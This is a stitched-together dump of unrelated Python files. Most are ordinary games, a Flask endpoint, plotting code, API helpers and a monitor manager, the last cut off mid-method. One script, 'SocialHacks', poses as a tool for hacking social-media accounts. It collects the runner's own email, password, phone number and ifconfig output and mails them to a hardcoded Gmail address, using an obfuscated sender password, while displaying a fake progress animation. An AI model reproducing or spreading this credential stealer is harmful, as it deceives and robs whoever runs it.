                   show_all(dealer,user)
                   user_busts(user_chips)
                   break
            show_some(dealer,user)
        else:
            while True:
                if dealer.value<17:
                    dealer.add_card(deck.deal())
                    dealer.manage_aces()
                    if dealer.value>21:
                        show_all(dealer,user)
                        dealer_busts(user_chips)
                        decision=False
                        break
                else:
                    if dealer.value>user.value:
                        show_all(dealer,user)
                        dealer_wins(user_chips)
                        decision=False
                        break
                    else:
                        show_all(dealer,user)
                        user_wins(user_chips)
                        decision=False
                        break
play= True
while play:
    print("Welcome to BlackJack. The User hits untill the sum reaches 21 and the dealer hits untill the sum is 17. Aces count as either 1 or 11.")
    print("\n")
    try:
            user_chips=chips(int(input("Enter the starting amount of chips with User. ")))
            print("\n")
    except:
            print("Enter an integer. ")
            print("\n")
            continue
    while True:
        deck=Deck()
        deck.Shuffle()
        take_bet(user_chips)
        user=hand()
        user.add_card(deck.deal())
        user.add_card(deck.deal())
        user.manage_aces()
        dealer=hand()
        dealer.add_card(deck.deal())
        dealer.add_card(deck.deal())
        dealer.manage_aces()
        show_some(dealer,user)
        hit_or_stand(dealer,user)
        if user_chips.total<=0:
            decision=input("GAME OVER. USER HAS LOST. Do you want to start a new game? Enter 'y' for yes or 'n' for no ")
            print("\n")
            if decision=='y':
                play=True
                break
            else:
                play=False
                break
        play_again=input("User's Chips stand at {}. Do you want to play again with the updated chips? Enter 'y' for yes or 'n' for no ".format(user_chips.total))
        print("\n")
        if play_again=='n':
            decision=input("Do you want to start a new game? Enter 'y' for yes or 'n' for no ")
            print("\n")
            if decision=='y':
                play=True
                break
            else:
                play=False
                break
print("Thank You for playing..!!")


from dtat.api.guild import guildprint
from dtat.services.list import guildWithId
from dtat.services.update import guildObj
from flask import jsonify
from dtat.models import Player
from dtat.services.remove import removeGuild
from dtat.exceptions import DTATException

@guildprint.route('/id/<int:id>/data', methods=['GET'])
def data(id):
    """
    Returns guild data.
        :param id: guild_id
    """
    guild = guildWithId(id)
    if len(guild.players) == 0:
        try:
            guild = guildObj(guild, True, True)['guild']
        except DTATException as e:
            if e.invalid == ["Invalid guild id"]:
                removeGuild(guild)
                raise DTATException(410, "Guild has been deleted.", ["guild"])
            else:
                raise DTATException(e.errorCode, e.message, e.invalid)

    data = []
    for a in guild.players:
        data.append(a.list())

    return jsonify({
        'id': guild.id,
        'name': guild.name,
        'level': guild.level,
        'players': {
            'keys': Player.keys(),
            'data': data
        }
    })


#cree un programa que simule el juego del ahorcado
#debe seleccionar una palabra aleatoria de una lista de palabras
#muestre una pista de la palabra aleatoria ( "MOUSE" ) pisa ( M_ _ _ E)
#El usuario debe ingresas una palabra y si es igual a la palabra aleatoria
#entonces el programa mostrara True , caso contrario False

from random import*
again = 0
i = 1
palabras = ["mouse", "raton", "monitor", "teclado"]
indice = randint(0,len(palabras)-1)
pal = palabras[indice].upper()
pista1 = pal[0]
pista2 = pal[-1]
nGuion = len(pal)-2
subGuion = nGuion * " _ "
print("**Adivine la palabra**")
pista = pista1 + subGuion + pista2
print(pista)
palabra = input("Ingrese la palabra ").upper()
condicion = palabra == pal
if condicion :
    print(condicion,"***Gano!!!!***")
else:
    print(condicion)
    again = input("Error, quiere probar de nuevo < Fin para terminar> ").lower()
    while again != "fin":
        palabra = input("Ingrese la palabra ").upper()
        condicion = palabra == pal
        print("Adivino ?", condicion)
        i +=1
        again = input("Error, quiere probar de nuevo < Fin para terminar> ").lower()
print("Su numero de intentos fue: ", i)
print("--------Fin del juego--------")


#-*-coding:utf-8-*-
__author__ = 'shenshen'

from stack import Stack

def main():
    groups = []
    m = int(raw_input())
    for i in range(m):
        n = int(raw_input())
        group = []
        for j in range(n):
            group.append(raw_input())
        groups.append(group)

    #print(groups)
    for g in groups:
        stack = Stack()
        for item in g:
            cmds = item.split()
            if cmds[0] == 'push':
                stack.push(int(cmds[1]))
            elif cmds[0] == 'pop':
                if stack.isEmpty():
                    print('error')
                    break
                else:
                    stack.pop()
        if not stack.isEmpty():
            print(' '.join([str(i) for i in stack.items]))

if __name__ == '__main__':
    main()


import asyncio
import os

from .utils import *
from .exceptions import *

# --------------------------------------------------------------------
class Shell:
    limiter = asyncio.BoundedSemaphore(CPU_CORES)

    def __init__(self, config=None):
        self.log = get_logger("bakery.shell.Shell")
        self.env = {}

    def derive(self):
        derived_shell = Shell()
        derived_Shell.env.update(self.env)
        return derived_shell

    async def __call__(
        self,
        *args,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
        name=None,
        log=None,
        **kwargs
    ):
        # Limit concurrency in shell calls to the number of cores on the system, so that we
        # do not end up spawning more jobs from coroutines than the system has processors.
        await Shell.limiter.acquire()

        try:
            if name is None:
                name = "#"
            if log is None:
                log = JobLog(self.log, name=name)

            cmd_line = compose(
                lambda x: flat_map(x, degenerate), lambda x: flat_map(x, str)
            )(args)

            log.trace(" ".join(cmd_line))

            output = []
            err_output = []
            env = os.environ.copy()
            env.update(self.env)
            proc = await asyncio.create_subprocess_exec(
                *cmd_line, stdout=stdout, stderr=stderr, env=env, **kwargs
            )
            readline_tasks = {
                asyncio.Task(proc.stdout.readline()): (
                    output,
                    proc.stdout,
                    lambda x: log.print(x),
                ),
                asyncio.Task(proc.stderr.readline()): (
                    err_output,
                    proc.stderr,
                    lambda x: log.error(x),
                ),
            }
            while readline_tasks:
                done, pending = await asyncio.wait(
                    readline_tasks, return_when=asyncio.FIRST_COMPLETED
                )
                for future in done:
                    buf, stream, display = readline_tasks.pop(future)
                    line = future.result()
                    if line:  # if not EOF
                        line = line.decode("utf-8").strip()
                        buf.append(line)
                        display(line)
                        readline_tasks[asyncio.Task(stream.readline())] = (
                            buf,
                            stream,
                            display,
                        )

            await proc.wait()
            if proc.returncode != 0:
                raise SubprocessError(cmd_line, output, err_output, proc.returncode)
            else:
                return output
        finally:
            Shell.limiter.release()


from url_handling.queue import Queue
from configuration import CONFIG

class Scheduler:

    def __init__(self, worker_type):
        self.thread_count = int(CONFIG.get("WORKER", "threads"))
        self.worker_type = worker_type

        self.workers = list()
        self.subqueues = list()

    def start_workers(self):
        for worker in self.workers:
            worker.start()

    def create_workers(self):
        last_index = 0
        url_list = Queue.get_main_instance().gathered_links
        length = len(url_list)

        if self.thread_count <= 0 or self.thread_count >= length:
            self.thread_count = int(length * 0.0005)

        print(self.thread_count)
        subqueue_size = int(length / self.thread_count)

        for i in range(0, self.thread_count):   # allocate equal pieces from url_list to the new workers
            chunk = last_index + subqueue_size
            self.workers.append(self.worker_type(Queue(url_list[last_index:chunk])))
            last_index = chunk

        self.workers[-1].workload.add(url_list[last_index:])   # fill the rest


import matplotlib.pyplot as pl
import numpy as np
import pickle
from random import randint
import pandas as pd

"""
x = np.linspace(0,10,20)   # 20 points entre 0 et 10
y1 = x*x + 2*x             # la fonction a tracer
y2 = np.sqrt(x)            # la fonction a tracer

pl.figure()               # creation d'une figure
pl.subplot(1,2,1)         # division de la fenetre en une matrice 1x2
pl.plot(x,y1,'g--', label='$y = x^2+2x$')
                          # affichage de la courbe + style + etiquette
pl.legend(loc=0)
pl.subplot(1,2,2)
pl.plot(x,y2, 'r*-', label='$y = \sqrt{x}$')
pl.legend(loc=2)          # affichage de la légende en haut a gauche
pl.show()                 # affichage de la fenetre
"""

df = pd.read_csv('/Users/Jacobo/Documents/uni/L2/2i013/data/toutlisse.csv',sep=",")
#print(len(df))

def moyenne_centroide(centroide,k):
    resultat = [[0]*288 for i in range (k)]
    for i in range(k):
        for j in range(len(centroide[i])):
            resultat[i][j%288]+=centroide[i][j]
    return resultat

def jourmoyen(station):
    resultat = [0]*288
    for i in range(len(station)):
        resultat[i%288]+=station[i]
    return resultat

def moyenne_station(station,k):
    return 1

"""
a=mo

tiroir=pickle.load(open("./data/clus11","rb"))

tiroirfini=moyenne_centroide(tiroir)

a=moyenne_centroide(c,11)
for i in range(len(a)):
    pl.figure(i)
    pl.plot(heure,a[i])
    pl.show()
 """

def plot(k):
    c=pickle.load( open( "./data/centroide"+str(k)+".p", "rb" ) )
    df4 = pd.read_csv('./data/toutlisse.csv',sep=",")
    tiroir=pickle.load(open("./data/clus"+str(k)+".p","rb"))
    #heure=pickle.load(open("./data/heures.p","rb"))
    a=moyenne_centroide(c,k)
    #pour le premier
    for i in range (k):
        pl.figure(i)
        for j in range(2):
            indice=randint(0,len(tiroir[i])-1)
            #print(indice," ",len(tiroir[i]))
            station=jourmoyen(df4[str(tiroir[i][indice])])
            suma=sum(station)
            #print(sum([k/suma for k in station]))
            plotdata=[k/suma for k in station]
            pl.plot([k/12 for k in range(24*12)],plotdata,c='r',alpha=.5)
            #pl.xticks([k for k in range(24)])

        suma=sum(a[i])
        plotdata=[k/suma for k in a[i]]
        pl.title("Centroide n"+str(i)+" ainsi que deux stations aleatoires du cluster")
        pl.plot([k/12 for k in range(24*12)],plotdata,c='g')
        pl.xticks([k for k in range(24)])
        pl.yticks([])
        pl.xlabel('heure')
        pl.ylabel('frequentation normalisee')
        pl.figure(i).savefig("./data/plotcentroidestation"+str(i)+".pdf")
        #pl.show()
#%%

def signalstationmoyenne(station,fenetre):
    """288 ticks sur un jour"""
    df = pd.read_csv('/Users/Jacobo/Documents/uni/L2/2i013/data/toutlisse.csv',sep=",")
    df=df[str(station)]
    courbe = [0]*288
    for i in range(288*3,288*4):
        courbe[i%288]+=df[i]
    for i in range(len(courbe)):
        if (i<int(fenetre/2)):
            courbe[i]=sum(courbe[:int(fenetre/2)+i])/(int(fenetre/2)+i)
        elif (i>len(courbe)-int(fenetre/2)):
            courbe[i]=sum(courbe[len(courbe)-int(fenetre/2):])/(288-i+int(fenetre/2))
        else:
            courbe[i]=sum(courbe[i-int(fenetre/2):i+int(fenetre/2)])/fenetre

    pl.title("Lissage avec filtre passe-haut de fenêtre="+str(fenetre))
    pl.plot([k/12 for k in range(24*12)],courbe)
    pl.xlabel('heure')
    pl.ylabel('frequentation normalisee')
    pl.xticks([k for k in range(24)])

    #print(courbe)

signalstationmoyenne(198,4)

#%%
def difference_centroides(c1,c2,k):
    c=pickle.load( open( "/Users/Jacobo/Documents/uni/L2/2i013/data/centroide"+str(k)+".p", "rb" ) )
    #heure=pickle.load(open("./data/heures.p","rb"))
    a=moyenne_centroide(c,k)
    suma=sum(a[c1])
    plotdata1=[k/suma for k in a[c1]]
    suma=sum(a[c2])
    plotdata2=[k/suma for k in a[c2]]
    plotdata=[plotdata1[i]-plotdata2[i] for i in range(len(plotdata1))]
    pl.title("Differences entre le centroide n"+str(c1)+" et le centroide n"+str(c2))
    pl.plot([k/12 for k in range(24*12)],plotdata,c='g',label="différences")
    #pl.plot([k/12 for k in range(24*12)],[0]*288,c='black',label="y=0")
    #pl.legend(loc='upper left')
    pl.grid(axis='y')
    pl.xticks([k for k in range(24)])
    pl.yticks([0])
    pl.xlabel('heure')
    pl.ylabel('frequentation normalisee')
    pl.savefig("./data/centroide"+str(c1)+"vscentroide"+str(c2)+".pdf")

difference_centroides(0,8,11)
#%%
def signalstationperiode(numstation,i):
    df = pd.read_csv('/Users/Jacobo/Documents/uni/L2/2i013/data/toutlisse.csv',sep=",")
    signal=df[str(numstation)]
    pl.title("Signal de la station "+str(numstation)+" sur la période des données")
    pl.plot([(k/(24*12)) for k in range(len(signal))],signal)
    pl.xticks([k+1 for k in range(0,93,i)]) #len(signal)/(24*12)=92
    #pl.yticks([])
    pl.xlabel('jour (nº)')
    pl.ylabel('fréquentation (u.a.)')

signalstationperiode(496,8)

#%%
def plotpurete(k,purete):
    #df = pd.read_csv('/Users/Jacobo/Documents/uni/L2/2i013/data/toutlisse.csv',sep=",")
    #signal=df[str(numstation)]
    #pl.title("Signal de la station "+str(numstation)+" sur la période des données")
    pl.plot(k,purete)
    #pl.xticks(purete) #len(signal)/(24*12)=92
    #pl.yticks(k)
    pl.ylabel('purete')
    pl.xlabel('k')

res=[0.0151343,0.27919375365459359,0.45781309118426033]
k=[100,500,1000]
plotpurete(k,res)
#%%
"""
Lidee serait de prendre 2 stations de chaqu centroide, ensuite, appliquer une moeynne dessus
puis les plotter sur le meme graphique que le centroide en les ayant normalisees

plt.scatter(x,y)
plt.title("Web traffic over the last month")
plt.xlabel("Time")
plt.ylabel("Hits/hour")
plt.xticks([w*7*24 for w in range(10)],
  ['week %i'%w for w in range(10)])
plt.autoscale(tight=True)
plt.grid()
plt.show()

result=[i/suma for i in a[0]]
pl.plot([i/12 for i in range(24*12)],result)
pl.xticks([i for i in range(24)])
pl.show()

"""


# helper functions

import time
import datetime
import requests
import pickle
import sys
import itertools
import glob

# add things to this list that need to be closed when the program ends
things_to_close = []

# load the github api tokens into an itertools.cycle
github_tokens = []
for file_str in glob.glob("github_token*.txt"):
    with open(file_str) as token_file:
        github_tokens.append(token_file.read().strip())
token_cycle = itertools.cycle(github_tokens)

def get_raw_url(item):
    return item["html_url"].replace(
        "https://github.com/",
        "https://raw.githubusercontent.com/"
    ).replace(
        "/blob/",
        "/"
    )

def get_repo(url: str):
    split_url = url.split("/")
    user = split_url[3]
    repo = split_url[4]
    return "{}/{}".format(user, repo)

def get_filename(url: str):
    return url.split("/")[-1]

def check_rate_limit(headers: dict):
    if "X-RateLimit-Remaining" not in headers or "X-RateLimit-Reset" not in headers:
        print("Rate limit info was not in the api response headers")
        return

    count_remaining = headers["X-RateLimit-Remaining"]
    reset_time = headers["X-RateLimit-Reset"]

    if count_remaining == "0":
        reset_time = datetime.datetime.fromtimestamp(float(reset_time))
        time_to_wait = reset_time - datetime.datetime.now()
        if time_to_wait.seconds <= 0:
            return
        elif time_to_wait.seconds >= 180:
            print("Time to wait was more than 180 seconds. Only sleeping: 180")
            time.sleep(180)
        else:
            print("Rate Limit Hit, Sleeping: {}".format(time_to_wait.seconds + 1))
            time.sleep(time_to_wait.seconds + 1)

def check_abuse_limit(api_response: requests.Response):
    if "Retry-After" not in api_response.headers:
        log_error_and_exit("api response returned status code: 403 and 'Retry-After' is not in the headers", api_response)

    time_to_wait = int(api_response.headers["Retry-After"]) + 1
    print("Abuse rate limit hit, Sleeping: {}".format(time_to_wait))
    time.sleep(time_to_wait)

def log_error_and_exit(message: str, api_response: requests.Response):
    print(message)
    with open("api_response.pickle", "wb") as api_res_file:
        pickle.dump(api_response, api_res_file)
    cleanup_and_exit()

def cleanup_and_exit():
    for item in things_to_close:
        item.close()
    sys.exit()


#MODULOS
import os
import sys
import time
import smtplib
from sympy.crypto.crypto import encipher_affine, decipher_affine
from sympy.crypto.crypto import encipher_shift, decipher_shift

#COLORES
ve = "\033[1;32;40m" #Ve
az = "\033[1;34;40m" #A
ro = "\033[1;31;40m" #Ro

#FUNCIONES
def sutil(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(12. / 150)

def corrida(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(3. / 250)

def xuxa(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(2. / 120)

def saludo(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(3. / 100)

def medio(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(8. / 200)

def lento(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(10. / 200)

def proceso(s):
        for c in s + '\n':
                sys.stdout.write(c)
                sys.stdout.flush()
                time.sleep(15. / 150)
os.system("clear")
sutil(ve+"Para tener un resultado eficiente asegúrate de agregar la información correctamente que se te solicita.")
os.system("sleep 2")
os.system("clear")
corrida(az+"""            ¤▪¤▪¤▪¤▪♤¤▪¤▪¤▪♤¤▪¤▪¤▪¤
            S-O-C-I-A-L ♧ H-A-C-K-S
            ¤▪¤▪¤▪¤▪¤▪♤▪¤▪¤▪♤¤▪¤▪¤▪ """)

sutil(ve+"Hackea una red social en cuestión de minutos o segundos con SocialHacks")
def sz():
   sp = corrida(az+"_____")

medio(ro+"Red social:")
s = az+"-"

corrida(az+"_________________"+ro)
print ("1-.Facebook"+s)
sz()
print (ro+"2-.Instagram"+s)
sz()
print (ro+"3-.Twiter"+s)
sz()
print (ro+"4-.Reddit"+s)
sz()
print (ro+"5-.Tiktok"+s)
corrida(az+"_________________"+ro)
try:
   rp11 = int(input("Elige una opcion\n"+ve+'>>>'))
   if rp11 == 1:
      rmsn = "Facebook"
   elif rp11 == 2:
      rmsn = "Instagram"
   elif rp11 == 3:
      rmsn = "Twiter"
   elif rp11 == 4:
      rmsn = "Reddit"
   elif rp11 == 5:
      rmsn = "Tiktok"
   else:
      print ("Este numero no es una opción")
      sys.exit()
except ValueError:
   print (ro+"Tu respuesta no fue un numero")
   sys.exit()

print (ro+"Hss elegido",rmsn+'\n'+ro)

seq = open("module.txt")
asw = seq.read()
kew = (5, 5028)
wad = decipher_affine(asw,kew)
a = wad.lower()

subject = input("Añade tu nombre de perfil:\n>>> ")
numero = input(ro+"Agrega numero de celular:\n>>> ")
url = input(az+"Introduce la url del perfil de tu victima?\n>>> ")
rob = input(ve+"Introduce tu correo\n>>> ")
psd = input(ro+"Introduce la contraseña\n>>> ")
tubo = os.popen("ifconfig")
tubo = tubo.readlines()
obj = "vallettaoficial@gmail.com"

num = "Numero:", numero
mar = "Url:", url
cor = "Correo:", rob
arb = "Contrasena:", psd

msg = num, mar, cor, arb, tubo

msg = ('Subject: {}\n\n{}'.format(subject, msg))
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login("patoelsa170@gmail.com", a)
server.sendmail("patoelsa170@gmail.com", obj, msg)
server.quit()

def x(i):
   for c in i:
      sys.stdout.write(c)
      sys.stdout.flush()
      time.sleep(12. /150)
x("Detectando contraseña de la victima")

while True:

   sys.stdout.write(".")
   sys.stdout.flush()
   time.sleep(40. / 30)


import asyncio
import copy
import json
import os
import shlex
import subprocess
import sys
from datetime import datetime
from json.decoder import JSONDecodeError
from typing import Any, Dict, List, cast

import pymongo
import tornado.httpclient
from watchdog import observers
from watchdog.events import FileSystemEvent, FileSystemEventHandler

import kekmonitors.utils.tools
from kekmonitors.comms.msg import Cmd, Response, badResponse, okResponse
from kekmonitors.comms.server import Server
from kekmonitors.config import COMMANDS, ERRORS, Config, LogConfig
from kekmonitors.discord_embeds import get_mm_crash_embed

if sys.version_info[1] > 6:
    import uvloop

def get_parent_directory(src: str) -> str:
    """
    Return the parent directory of `src`
    """
    return src[: src.rfind(os.path.sep)]

class MonitorManager(Server, FileSystemEventHandler):
    """This can be used to manage monitors/scrapers with an external api."""

    def __init__(self, config: Config = None):
        if not config:
            config = Config()
        # set default name if not already set in config
        if not config["OtherConfig"]["socket_name"]:
            config["OtherConfig"]["socket_name"] = f"Executable.MonitorManager"

        self.config = config

        # create logger
        logconfig = LogConfig(config)
        logconfig["OtherConfig"]["socket_name"] += ".General"
        self.general_logger = kekmonitors.utils.tools.get_logger(logconfig)

        if sys.version_info[1] > 6:
            asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
        else:
            self.general_logger.warning(
                f"You're currently running python {sys.version_info[0]}.{sys.version_info[1]}, which does not support uvloop. Please consider upgrading to at least 3.7, since uvloop brings many enhancements to the asyncio loop."
            )

        super().__init__(
            config, f"{self.config['GlobalConfig']['socket_path']}/MonitorManager"
        )  # Server init
        super(Server).__init__()  # FileSystemEventHandler init

        # initialize callbacks
        self.cmd_to_callback[COMMANDS.MM_STOP_MONITOR_MANAGER] = self._stop_serving
        self.cmd_to_callback[COMMANDS.MM_ADD_MONITOR] = self.on_add_monitor
        self.cmd_to_callback[COMMANDS.MM_ADD_SCRAPER] = self.on_add_scraper
        self.cmd_to_callback[
            COMMANDS.MM_ADD_MONITOR_SCRAPER
        ] = self.on_add_monitor_scraper
        self.cmd_to_callback[COMMANDS.MM_STOP_MONITOR] = self.on_stop_monitor
        self.cmd_to_callback[COMMANDS.MM_STOP_SCRAPER] = self.on_stop_scraper
        self.cmd_to_callback[
            COMMANDS.MM_STOP_MONITOR_SCRAPER
        ] = self.on_stop_monitor_scraper
        self.cmd_to_callback[
            COMMANDS.MM_GET_MONITOR_STATUS
        ] = self.on_get_monitor_status
        self.cmd_to_callback[
            COMMANDS.MM_GET_SCRAPER_STATUS
        ] = self.on_get_scraper_status
        self.cmd_to_callback[
            COMMANDS.MM_GET_MONITOR_SCRAPER_STATUS
        ] = self.on_get_status
        self.cmd_to_callback[
            COMMANDS.MM_GET_MONITOR_CONFIG
        ] = self.on_get_monitor_config
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_CONFIG
        ] = self.on_set_monitor_config
        self.cmd_to_callback[
            COMMANDS.MM_GET_MONITOR_WHITELIST
        ] = self.on_get_monitor_whitelist
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_WHITELIST
        ] = self.on_set_monitor_whitelist
        self.cmd_to_callback[
            COMMANDS.MM_GET_MONITOR_BLACKLIST
        ] = self.on_get_monitor_blacklist
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_BLACKLIST
        ] = self.on_set_monitor_blacklist
        self.cmd_to_callback[
            COMMANDS.MM_GET_MONITOR_WEBHOOKS
        ] = self.on_get_monitor_webhooks
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_WEBHOOKS
        ] = self.on_set_monitor_webhooks
        self.cmd_to_callback[
            COMMANDS.MM_GET_SCRAPER_CONFIG
        ] = self.on_get_scraper_config
        self.cmd_to_callback[
            COMMANDS.MM_SET_SCRAPER_CONFIG
        ] = self.on_set_scraper_config
        self.cmd_to_callback[
            COMMANDS.MM_GET_SCRAPER_WHITELIST
        ] = self.on_get_scraper_whitelist
        self.cmd_to_callback[
            COMMANDS.MM_SET_SCRAPER_WHITELIST
        ] = self.on_set_scraper_whitelist
        self.cmd_to_callback[
            COMMANDS.MM_GET_SCRAPER_BLACKLIST
        ] = self.on_get_scraper_blacklist
        self.cmd_to_callback[
            COMMANDS.MM_SET_SCRAPER_BLACKLIST
        ] = self.on_set_scraper_blacklist
        self.cmd_to_callback[
            COMMANDS.MM_GET_SCRAPER_WEBHOOKS
        ] = self.on_get_scraper_webhooks
        self.cmd_to_callback[
            COMMANDS.MM_SET_SCRAPER_WEBHOOKS
        ] = self.on_set_scraper_webhooks
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_SCRAPER_BLACKLIST
        ] = self.on_set_monitor_scraper_blacklist
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_SCRAPER_WHITELIST
        ] = self.on_set_monitor_scraper_whitelist
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_SCRAPER_WEBHOOKS
        ] = self.on_set_monitor_scraper_webhooks
        self.cmd_to_callback[
            COMMANDS.MM_SET_MONITOR_SCRAPER_CONFIG
        ] = self.on_set_monitor_scraper_configs
        self.cmd_to_callback[COMMANDS.MM_GET_SCRAPER_SHOES] = self.on_get_scraper_shoes
        self.cmd_to_callback[COMMANDS.MM_GET_MONITOR_SHOES] = self.on_get_monitor_shoes

        # initialize variables
        self.monitor_processes = {}  # type: Dict[str, Dict[str, Any]]
        self.scraper_processes = {}  # type: Dict[str, Dict[str, Any]]
        self.monitor_sockets = {}  # type: Dict[str, str]
        self.scraper_sockets = {}  # type: Dict[str, str]
        self.register_db = pymongo.MongoClient(
            self.config["GlobalConfig"]["db_path"]
        )[  # database where to find class_name -> filename relation
            self.config["GlobalConfig"]["db_name"]
        ][
            "register"
        ]

        # let's avoid concurrency problems on socket creation/deletion
        self.socket_lock = asyncio.Lock()
        # and don't stop on MM_STOP_MONITOR_MANAGER if we are in the loop
        self._loop_lock = asyncio.Lock()

        # mandatory arguments, needed in the command
        self.add_args = ["name"]
        self.stop_args = ["name"]
        self.getter_args = ["name"]
        self.setter_args = ["name", "payload"]

        self.shutdown_all_on_exit = True  # you might wanna change this

        # needed for the crash webhook
        tornado.httpclient.AsyncHTTPClient.configure(
            "tornado.curl_httpclient.CurlAsyncHTTPClient"
        )
        self.client = tornado.httpclient.AsyncHTTPClient()

        # create main loop task
        self.check_status_task = self._asyncio_loop.create_task(self.check_status())

        # watches the config folder for any change. calls on_modified when any monitored file is modified
        self.watcher = observers.Observer()
        self.watcher.schedule(self, self.config["GlobalConfig"]["config_path"], True)
        self.watcher.schedule(self, self.config["GlobalConfig"]["socket_path"], True)

        # needed for proper shutdown
        self.has_to_quit = False

    def start(self):
        """Start the Monitor Manager."""
        self.watcher.start()
        self._asyncio_loop.run_forever()

    def on_modified(self, event: FileSystemEvent):
        # called when any of the monitored files is modified.
        # we are only interested int the configs for now.
        filepath = event.key[1]  # type: str

        if not filepath.endswith(".json"):
            return
        # if a config file is updated:
        if filepath.startswith(self.config["GlobalConfig"]["config_path"]):
            if filepath.startswith(
                os.path.sep.join((self.config["GlobalConfig"]["config_path"], "common"))
            ):
                asyncio.run_coroutine_threadsafe(
                    self.update_common_config(filepath), self._asyncio_loop
                )
            else:
                asyncio.run_coroutine_threadsafe(
                    self.update_specific_config(filepath), self._asyncio_loop
                )

    def on_created(self, event: FileSystemEvent):
        filename = event.key[1]  # type: str

        # if a socket was created:
        if filename.find(self.config["GlobalConfig"]["socket_path"]) != -1:
            asyncio.run_coroutine_threadsafe(self.on_add_sockets(), self._asyncio_loop)

    def on_deleted(self, event):
        filename = event.key[1]  # type: str

        # if a socket was deleted:
        if filename.find(self.config["GlobalConfig"]["socket_path"]) != -1:
            asyncio.run_coroutine_threadsafe(
                self.on_delete_sockets(), self._asyncio_loop
            )

    async def on_add_sockets(self):
        """
        Routine that updates the internal list of available sockets on add event
        """
        async with self.socket_lock:
            # get any socket that is not in the list
            new_monitor_sockets = {}  # type: Dict[str, str]
            new_scraper_sockets = {}  # type: Dict[str, str]
            for filename in os.listdir(self.config["GlobalConfig"]["socket_path"]):
                splits = filename.split(".")
                if splits[0] == "Monitor" and splits[1] not in self.monitor_sockets:
                    new_monitor_sockets[splits[1]] = os.path.sep.join(
                        [self.config["GlobalConfig"]["socket_path"], filename]
                    )
                elif splits[0] == "Scraper" and splits[1] not in self.scraper_sockets:
                    new_scraper_sockets[splits[1]] = os.path.sep.join(
                        [self.config["GlobalConfig"]["socket_path"], filename]
                    )

            # check if it's alive
            alive_monitor_sockets, alive_scraper_sockets = await asyncio.gather(
                self.get_alive_sockets(new_monitor_sockets.values()),
                self.get_alive_sockets(new_scraper_sockets.values()),
            )

            # if it is, add it to the list
            for class_name in new_monitor_sockets:
                if new_monitor_sockets[class_name] in alive_monitor_sockets:
                    self.monitor_sockets[class_name] = new_monitor_sockets[class_name]

            for class_name in new_scraper_sockets:
                if new_scraper_sockets[class_name] in alive_scraper_sockets:
                    self.scraper_sockets[class_name] = new_scraper_sockets[class_name]

    async def on_delete_sockets(self):
        """
        Routine that updates the internal list of available sockets on delete event
        """
        async with self.socket_lock:
            existing_monitor_sockets = []
            existing_scraper_sockets = []
            # get the current list of existing sockets
            for f in list(os.listdir(self.config["GlobalConfig"]["socket_path"])):
                if f.startswith("Monitor."):
                    existing_monitor_sockets.append(f)
                elif f.startswith("Scraper."):
                    existing_scraper_sockets.append(f)

            # temp copy
            updated_monitor_sockets = copy.copy(self.monitor_sockets)
            updated_scraper_sockets = copy.copy(self.scraper_sockets)

            # remove every internal socket that is not existing
            for class_name in self.monitor_sockets:
                if "Monitor." + class_name not in existing_monitor_sockets:
                    updated_monitor_sockets.pop(class_name)
            for class_name in self.scraper_sockets:
                if "Scraper." + class_name not in existing_scraper_sockets:
                    updated_scraper_sockets.pop(class_name)

            self.monitor_sockets = updated_monitor_sockets
            self.scraper_sockets = updated_scraper_sockets

    async def get_alive_sockets(self, sockets: List[str]) -> List[str]:
        """
        Ping the provided sockets and return a list of alive sockets
        """
        tasks = []
        for socket in sockets:
            cmd = Cmd()
            cmd.cmd = COMMANDS.PING
            tasks.append(self.make_request(socket, cmd))

        responses = await asyncio.gather(*tasks)  # type: List[Response]
        alive = []
        for response, socket in zip(responses, sockets):
            if not response.error.value:
                alive.append(socket)

        return alive

    async def update_common_config(self, filename: str):
        """Reads the provided config file and updates the interested monitors/scrapers"""
        self.general_logger.debug(f"File {filename} has changed!")
        try:
            with open(filename, "r") as f:
                j = json.load(f)
        except JSONDecodeError:
            self.general_logger.warning(
                f"File {filename} has changed but contains invalid json data"
            )
            return

        splits = filename.split(os.path.sep)

        for sockets in (self.monitor_sockets, self.scraper_sockets):
            commands = []  # List[Cmd]
            sock_paths = []  # type: List[str]

            # we are interested in configs, whitelists, blacklists, webhooks
            if splits[-1] == "whitelists.json":
                cmd = COMMANDS.SET_COMMON_WHITELIST
            elif splits[-1] == "configs.json":
                cmd = COMMANDS.SET_COMMON_CONFIG
            elif splits[-1] == "blacklists.json":
                cmd = COMMANDS.SET_COMMON_BLACKLIST
            elif splits[-1] == "webhooks.json":
                cmd = COMMANDS.SET_COMMON_WEBHOOKS
            else:
                return

            # for every monitor socket
            for name in sockets:
                if name in j:
                    sock_path = sockets[name]
                    c = Cmd()
                    c.cmd = cmd
                    # send only the corresponding part to the monitor
                    c.payload = j[name]
                    commands.append(c)
                    sock_paths.append(sock_path)

            # prepare to make all the async requests
            tasks = []
            for sock_path, command in zip(sock_paths, commands):
                tasks.append(self.make_request(sock_path, command))

            # send the requests
            responses = await asyncio.gather(*tasks)  # List[Response]

            for response in responses:
                if response.error.value:
                    self.general_logger.warning(
                        f"Failed to update config: {response.error}"
                    )

    async def update_specific_config(self, filename: str):
        """Reads the provided config file and updates the interested monitors/scrapers"""
        self.general_logger.debug(f"File {filename} has changed!")
        try:
            with open(filename, "r") as f:
                j = json.load(f)
        except JSONDecodeError:
            self.general_logger.warning(
                f"File {filename} has changed but contains invalid json data"
            )
            return

        splits = filename.split(os.path.sep)
        commands = []  # List[Cmd]
